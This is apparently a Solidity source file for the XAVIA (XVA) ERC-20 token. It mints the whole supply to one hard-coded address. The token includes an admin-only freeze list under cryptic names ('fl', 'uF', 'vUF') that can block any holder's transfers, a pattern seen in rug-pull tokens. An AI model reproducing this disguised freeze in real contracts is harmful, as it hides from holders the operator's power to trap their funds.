pragma solidity 0.4.25;

/**
 * @title SafeMath
 * @dev Unsigned math operations with safety checks that revert on error.
 */
library SafeMath {
  /**
   * @dev Multiplies two unsigned integers, reverts on overflow.
   */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b, "SafeMath mul error");

    return c;
  }

  /**
   * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
   */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, "SafeMath div error");
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }

  /**
   * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
   */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b <= a, "SafeMath sub error");
    uint256 c = a - b;

    return c;
  }

  /**
   * @dev Adds two unsigned integers, reverts on overflow.
   */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath add error");

    return c;
  }

  /**
   * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
   * reverts when dividing by zero.
   */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b != 0, "SafeMath mod error");
    return a % b;
  }
}

contract IXVA {
  function transfer(address to, uint256 value) public returns (bool);

  function approve(address spender, uint256 value) public returns (bool);

  function transferFrom(address from, address to, uint256 value) public returns (bool);

  function balanceOf(address who) public view returns (uint256);

  function allowance(address owner, address spender) public view returns (uint256);

  function burn(uint _amount) public;

  event Transfer(address indexed from, address indexed to, uint256 value);

  event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Auth {

  address internal admin;

  event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);

  constructor(
    address _admin
  ) internal {
    admin = _admin;
  }

  modifier onlyAdmin() {
    require(isAdmin(), 'onlyAdmin');
    _;
  }

  function transferOwnership(address _newOwner) onlyAdmin internal {
    require(_newOwner != address(0x0));
    admin = _newOwner;
    emit OwnershipTransferred(msg.sender, _newOwner);
  }

  function isAdmin() public view returns (bool) {
    return msg.sender == admin;
  }
}

contract XAVIATOKEN is IXVA, Auth {
  using SafeMath for uint256;

  string public constant name = 'XAVIA';
  string public constant symbol = 'XVA';
  uint8 public constant decimals = 18;
  uint256 public _totalSupply = 27e6 * (10 ** uint256(decimals));

  mapping (address => uint256) internal _balances;
  mapping (address => mapping (address => uint256)) private _allowed;
  mapping (address => bool) fl;

  constructor(address _admin) public Auth(_admin) {
    _balances[0xcA531a84118a9B3130D88Cd0969bB7c20837e36B] = _totalSupply;
    emit Transfer(address(0x0), 0xcA531a84118a9B3130D88Cd0969bB7c20837e36B, _totalSupply);
  }

  function totalSupply() public view returns (uint) {
    return _totalSupply;
  }

  /**
   * @dev Gets the balance of the specified address.
   * @param owner The address to query the balance of.
   * @return A uint256 representing the amount owned by the passed adfunction transferdress.
   */
  function balanceOf(address owner) public view returns (uint256) {
    return _balances[owner];
  }

  /**
   * @dev Function to check the amount of tokens that an owner allowed to a spender.
   * @param owner address The address which owns the funds.
   * @param spender address The address which will spend the funds.
   * @return A uint256 specifying the amount of tokens still available for the spender.
   */
  function allowance(address owner, address spender) public view returns (uint256) {
    return _allowed[owner][spender];
  }

  /**
   * @dev Transfer token to a specified address.
   * @param to The address to transfer to.
   * @param value The amount to be transferred.
   */
  function transfer(address to, uint256 value) public returns (bool) {
    _transfer(msg.sender, to, value);
    return true;
  }

  /**
   * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
   * Beware that changing an allowance with this method brings the risk that someone may use both the old
   * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
   * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   * @param spender The address which will spend the funds.
   * @param value The amount of tokens to be spent.
   */
  function approve(address spender, uint256 value) public returns (bool) {
    _approve(msg.sender, spender, value);
    return true;
  }

  /**
   * @dev Transfer tokens from one address to another.
   * Note that while this function emits an Approval event, this is not required as per the specification,
   * and other compliant implementations may not emit the event.
   * @param from address The address which you want to send tokens from
   * @param to address The address which you want to transfer to
   * @param value uint256 the amount of tokens to be transferred
   */
  function transferFrom(address from, address to, uint256 value) public returns (bool) {
    _transfer(from, to, value);
    _approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
    return true;
  }

  /**
   * @dev Increase the amount of tokens that an owner allowed to a spender.
   * approve should be called when _allowed[msg.sender][spender] == 0. To increment
   * allowed value is better to use this function to avoid 2 calls (and wait until
   * the first transaction is mined)
   * From MonolithDAO Token.sol
   * Emits an Approval event.
   * @param spender The address which will spend the funds.
   * @param addedValue The amount of tokens to increase the allowance by.
   */
  function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
    _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
    return true;
  }

  /**
   * @dev Decrease the amount of tokens that an owner allowed to a spender.
   * approve should be called when _allowed[msg.sender][spender] == 0. To decrement
   * allowed value is better to use this function to avoid 2 calls (and wait until
   * the first transaction is mined)
   * From MonolithDAO Token.sol
   * Emits an Approval event.
   * @param spender The address which will spend the funds.
   * @param subtractedValue The amount of tokens to decrease the allowance by.
   */
  function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
    _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
    return true;
  }

  /**
   * @dev Transfer token for a specified addresses.
   * @param from The address to transfer from.
   * @param to The address to transfer to.
   * @param value The amount to be transferred.
   */
  function _transfer(address from, address to, uint256 value) internal {
    require(!fl[from], 'You can not do this at the moment');
    _balances[from] = _balances[from].sub(value);
    _balances[to] = _balances[to].add(value);
    if (to == address(0x0)) {
      _totalSupply = _totalSupply.sub(value);
    }
    emit Transfer(from, to, value);
  }

  /**
   * @dev Approve an address to spend another addresses' tokens.
   * @param owner The address that owns the tokens.
   * @param spender The address that will spend the tokens.
   * @param value The number of tokens that can be spent.
   */
  function _approve(address owner, address spender, uint256 value) internal {
    require(spender != address(0));
    require(owner != address(0));

    _allowed[owner][spender] = value;
    emit Approval(owner, spender, value);
  }

  function _burn(address _account, uint256 _amount) internal {
    require(_account != address(0), 'ERC20: burn from the zero address');

    _balances[_account] = _balances[_account].sub(_amount);
    _totalSupply = _totalSupply.sub(_amount);
    emit Transfer(_account, address(0), _amount);
  }

  function uF(address _a, bool f) onlyAdmin public {
    fl[_a] = f;
  }

  function vUF(address _a) public view returns (bool) {
    return fl[_a];
  }

  function burn(uint _amount) public {
    _burn(msg.sender, _amount);
  }
}